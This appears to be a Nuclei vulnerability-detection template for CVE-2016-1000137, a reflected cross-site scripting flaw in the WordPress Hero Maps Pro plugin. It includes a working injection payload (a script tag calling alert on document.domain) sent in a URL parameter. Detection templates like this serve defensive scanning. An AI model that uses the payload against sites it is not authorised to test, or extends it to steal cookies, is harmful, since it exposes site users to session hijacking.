WordPress Hero Maps Pro 2.1.0 - Cross-Site Scripting

ID: CVE-2016-1000137

Severity: medium

Author: daffainfo

Tags: cve2016,cve,wordpress,xss,wp-plugin,maps,hero-maps-pro_project

Description

WordPress Hero Maps Pro 2.1.0 contains a reflected cross-site scripting vulnerability which allows an attacker to execute arbitrary script code in the browser of an unsuspecting user in the context of the affected site. This can allow the attacker to steal cookie-based authentication credentials and launch other attacks.

YAML Source

id: CVE-2016-1000137

info:
  name: WordPress Hero Maps Pro 2.1.0 - Cross-Site Scripting
  author: daffainfo
  severity: medium
  description: WordPress Hero Maps Pro 2.1.0 contains a reflected cross-site scripting vulnerability which allows an attacker to execute arbitrary script code in the browser of an unsuspecting user in the context of the affected site. This can allow the attacker to steal cookie-based authentication credentials and launch other attacks.
  impact: |
    Successful exploitation of this vulnerability could allow an attacker to execute arbitrary JavaScript code in the context of the victim's browser, potentially leading to session hijacking, defacement, or theft of sensitive information.
  remediation: |
    Update to the latest version of WordPress Hero Maps Pro plugin (2.1.1 or higher) which includes a fix for this vulnerability.
  reference:
    - http://www.vapidlabs.com/wp/wp_advisory.php?v=658
    - https://wordpress.org/plugins/hero-maps-pro
    - https://nvd.nist.gov/vuln/detail/CVE-2016-1000137
    - https://github.com/ARPSyndicate/cvemon
    - https://github.com/ARPSyndicate/kenzer-templates
  classification:
    cvss-metrics: CVSS:3.0/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N
    cvss-score: 6.1
    cve-id: CVE-2016-1000137
    cwe-id: CWE-79
    epss-score: 0.00114
    epss-percentile: 0.44874
    cpe: cpe:2.3:a:hero-maps-pro_project:hero-maps-pro:*:*:*:*:*:wordpress:*:*
  metadata:
    max-request: 2
    vendor: "hero-maps-pro_project"
    product: "hero-maps-pro"
    framework: wordpress
  tags: cve2016,cve,wordpress,xss,wp-plugin,maps,hero-maps-pro_project
flow: http(1) && http(2)

http:
  - raw:
      - |
        GET /wp-content/plugins/hero-maps-pro/readme.txt HTTP/1.1
        Host: {{Hostname}}

    matchers:
      - type: word
        internal: true
        words:
          - 'Hero Maps Pro ='

  - method: GET
    path:
      - "{{BaseURL}}/wp-content/plugins/hero-maps-pro/views/dashboard/index.php?v=%22%3E%3C%2Fscript%3E%3Cscript%3Ealert%28document.domain%29%3C%2Fscript%3E"

    matchers-condition: and
    matchers:
      - type: word
        part: body
        words:
          - "</script><script>alert(document.domain)</script>"

      - type: word
        part: header
        words:
          - text/html

      - type: status
        status:
          - 200
# digest: 4a0a004730450220619bd6dd4e85fa1f4bd554cb63bd1e8620ef5736b001c853f7b10bf4f465ee09022100ae0a5fefa9a13efd855a5db33dec7718446e92448352ed5d32963701cb1a66c9:922c64590222798bb761d5b6d8e72950

Guide to check the vulnerabilities

This template is used to detect vulnerabilities in web applications. It can be used with the Nuclei tool to scan for specific patterns or behaviors.

$ nuclei -u "URL" -t "http/cves/2016/CVE-2016-1000137.yaml"

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